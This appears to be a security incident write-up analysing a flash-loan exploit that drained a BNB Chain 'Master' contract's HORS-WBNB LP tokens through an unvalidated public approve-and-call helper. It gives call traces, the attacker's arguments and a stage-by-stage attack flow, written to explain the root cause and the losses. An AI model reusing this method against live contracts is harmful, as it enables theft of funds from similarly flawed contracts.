Master LP Drain via Public Helper

1. Incident Overview TL;DR

On BNB Smart Chain block 45587949, a fresh attacker contract exploited public function selector 0xf78283c7 on Master contract 0x6f3390c6c200e9be81b32110ce191a293dc0eaba. The exploit transaction was 0xc8572846ed313b12bf835e2748ff37dacf6b8ee1bab36972dc4ace5e9f25fed7, following helper deployment transaction 0x9e498d3b1943c1778d7a41136446f83942405c4a24ebc9fb23c5f05a191a087a in the same block. The attacker supplied HORS, its own contract address, and the HORS-WBNB LP token 0xd5868b2e2b510a91964abafc2d683295586a8c70 as the three arguments to 0xf78283c7, causing Master to approve the attacker contract for the victim LP balance and then call the attacker contract under an addLiquidity ABI.

The root cause is a direct access-control and trust-boundary failure in Master’s public liquidity helper. The function accepts caller-chosen router and token addresses, performs approvals against those addresses, and then executes an external call with those same untrusted values. That design lets any unprivileged actor convert Master’s internal LP inventory into attacker-controlled approvals and arbitrary execution, which in this incident drained the victim’s entire LP position and produced 14799349453861436868 wei of WBNB profit after flash-loan repayment.

2. Key Background

Master is an unverified BNB Chain contract whose creation transaction stores beneficiary 0xbe0eb53f46cd790cd13851d5eff43d12404d33e8 in storage slot 0 and percentage value 50 in slot 1. The victim helper exposed by selector 0xf78283c7 was already in use long before the exploit. The historical transaction 0x4df582ed2cb6783a37096c5e204c2f8759d2e7fcbf7db9bce925457d2cdab826 called the same selector with (HORS, PancakeRouter, WBNB), which shows the intended workflow: split a token balance, transfer half to the hard-coded beneficiary, approve a router, and call that router’s addLiquidity entrypoint.

The drained asset was PancakePair LP token 0xd5868b2e2b510a91964abafc2d683295586a8c70, representing the HORS-WBNB pool. PancakePair LP tokens are standard ERC-20 balances. Once the attacker contract obtained approval and pulled those LP tokens out of Master, it could transfer them back into the pair and burn them to receive the underlying reserves.

The adversary used public infrastructure only. The attacker EOA 0x8efb9311700439d70025d2b372fb54c61a60d5df deployed helper contract 0x75ff620ff0e63243e86b99510cdbad1d5e76524e, borrowed 0.1 WBNB from PancakeV3 pool 0x172fcd41e0913e95784454622d1c3724f546f849, invoked the public Master helper, unwound the LP, repaid the flash loan plus fee, and transferred residual WBNB back to the EOA.

3. Vulnerability Analysis & Root Cause Summary

This is an ATTACK-class vulnerability caused by a public helper that performs privileged asset-management actions using untrusted caller input. The victim runtime disassembly shows selector 0xf78283c7 is externally reachable and contains two critical behaviors: it issues approve calls using a caller-supplied spender address, and it performs an external call using selector 0xe8e33700 against that same caller-supplied target. The intended invariant is straightforward: assets held by Master should only be approved to a trusted liquidity router and should only be spent for the intended token pair under authorized control.

That invariant breaks because 0xf78283c7 does not enforce access control and does not validate the supplied router or token addresses. In the exploit path, the attacker chooses its own contract as the router argument and chooses the victim LP token as the second asset argument. Because Master held zero HORS and a large LP balance at the forked pre-state, the helper effectively skipped meaningful HORS handling, approved the attacker contract for the full LP balance, and then called the attacker contract’s fake addLiquidity implementation. The exploit therefore did not require a bug in PancakeSwap or a privileged signer. It required only that Master expose this approval-plus-call primitive to arbitrary callers while holding transferable assets.

4. Detailed Root Cause Analysis

The collected victim disassembly and deployment data show the mechanism directly. Selector dispatch includes 0xf78283c7, and the body reads balances with balanceOf, computes a 50 percent split from slot 1, transfers the split of arg0 to the slot 0 beneficiary, then issues approvals and an external call. The relevant behavior in the disassembly is the approval path and external call path:

00000215: PUSH4 0xe8e33700
...
0000039d: PUSH4 0x095ea7b3

The creation input in the deployment artifact also shows the original high-level structure of the helper, including the approve and addLiquidity-style call:

... 095ea7b3 ... 095ea7b3 ... e8e33700 ...

The historical transaction history for 0x6f3390... proves how the function was supposed to be used. Transaction 0x4df582ed2cb6783a37096c5e204c2f8759d2e7fcbf7db9bce925457d2cdab826 sent:

0xf78283c7(
  0x1bb30f2ad8ff43bcd9964a97408b74f1bc6c8bc0,
  0x10ed43c718714eb63d5aa57b78b54704e256024e,
  0xbb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c
)

That is (HORS, PancakeRouter, WBNB), which is consistent with a benign “add liquidity” helper. The exploit reused exactly the same public entrypoint but changed the trust assumptions by passing attacker-controlled arguments. The trace of seed transaction 0xc857... shows the flash-loan callback calling Master with:

0x6f3390...::f78283c7(
  0x1Bb30f2AD8Ff43BCD9964a97408B74f1BC6C8bc0,
  0x75ff620FF0e63243e86b99510cDbaD1D5e76524E,
  0xd5868B2e2B510A91964AbaFc2D683295586A8C70
)

The same trace then shows the exact exploit breakpoint sequence:

0xd5868B2e...::approve(0x75ff620F..., 70710678118654752440083436)
0x75ff620F...::addLiquidity(0xd5868B2e..., 0x1Bb30f2A..., 70710678118654752440083436, 0, 70710678118654752440083436, 0, 0x6f3390..., 1736345085)
0xd5868B2e...::transferFrom(0x6f3390..., 0x75ff620F..., 70710678118654752440083436)

The receipt and decoded logs confirm the state transition. Master emitted an approval giving 0x75ff... control over 70710678118654752440083436 LP tokens. The LP token then emitted a transfer from Master to the attacker contract for the same amount, followed by a transfer from the attacker contract back into the pair and a burn. The pair released 347242535196129895429273744913820 HORS and 14799359453861436868 wei WBNB to the attacker contract. After repaying 100010000000000000 wei WBNB to the flash pool, the attacker contract transferred 14799349453861436868 wei WBNB to the attacker EOA.

The balance-diff artifact closes the loop. It shows Master’s LP balance moving from 70710678118654752440083436 to 0, the attacker contract receiving 347242535196129895429273744913820 HORS, and the attacker EOA paying only 338203000000000 wei in gas. The exploit therefore satisfies the ACT predicate deterministically: any unprivileged actor who observed that Master still held LP and still exposed selector 0xf78283c7 could deploy a compatible fake router, invoke the helper, and realize profit.

5. Adversary Flow Analysis

The adversary flow had three stages. First, EOA 0x8efb9311700439d70025d2b372fb54c61a60d5df deployed helper contract 0x75ff620ff0e63243e86b99510cdbad1d5e76524e in transaction 0x9e498d3b1943c1778d7a41136446f83942405c4a24ebc9fb23c5f05a191a087a. The deployment artifact ties that contract to the EOA and embeds the relevant pool, router, token, and pair constants.

Second, in transaction 0xc8572846ed313b12bf835e2748ff37dacf6b8ee1bab36972dc4ace5e9f25fed7, the helper borrowed 0.1 WBNB from PancakeV3 pool 0x172fcd41e0913e95784454622d1c3724f546f849. Inside pancakeV3FlashCallback, it called the public Master helper with (HORS, attackerContract, LP_TOKEN). Master then approved the attacker contract and called it under the expected addLiquidity(address,address,uint256,uint256,uint256,uint256,address,uint256) ABI.

Third, the attacker contract used that call to pull LP tokens from Master, send them into pair 0xd5868b2e2b510a91964abafc2d683295586a8c70, burn them for HORS and WBNB, and route the proceeds through the attacker-controlled path. The trace records the final steps clearly: WBNB transfer back to the flash pool for principal plus fee, then WBNB transfer of 14799349453861436868 wei from 0x75ff... to 0x8efb.... The transaction never relied on privileged roles, private keys, or local mocks. It realized the exploit entirely through public on-chain calls.

6. Impact & Losses

The immediate victim was Master contract 0x6f3390c6c200e9be81b32110ce191a293dc0eaba, which lost its entire position in HORS-WBNB PancakePair LP token 0xd5868b2e2b510a91964abafc2d683295586a8c70. The measured LP loss was:

{
  "token_symbol": "Cake-LP",
  "amount": "70710678118654752440083436",
  "decimal": 18
}

Burning those LP tokens released 347242535196129895429273744913820 HORS and 14799359453861436868 wei WBNB to the attacker path. After flash-loan repayment, the attacker retained 14799349453861436868 wei WBNB. The exploit was therefore both destructive to the victim inventory and directly profitable to the adversary.

7. References

1. Victim contract deployment and constructor constants: 0x6f3390c6c200e9be81b32110ce191a293dc0eaba creation artifact.
2. Victim runtime disassembly showing selector 0xf78283c7, approve, and 0xe8e33700 call sites.
3. Victim transaction history showing the historical intended call 0x4df582ed2cb6783a37096c5e204c2f8759d2e7fcbf7db9bce925457d2cdab826.
4. Attacker contract deployment artifact linking 0x75ff620ff0e63243e86b99510cdbad1d5e76524e to EOA 0x8efb9311700439d70025d2b372fb54c61a60d5df.
5. Seed transaction receipt and decoded logs for 0xc8572846ed313b12bf835e2748ff37dacf6b8ee1bab36972dc4ace5e9f25fed7.
6. Seed opcode trace showing the call into Master, LP approval, LP transfer, burn, flash repayment, and profit payout.
7. Balance-diff artifact for 0xc857... showing Master’s LP depletion, attacker HORS inflow, and gas cost.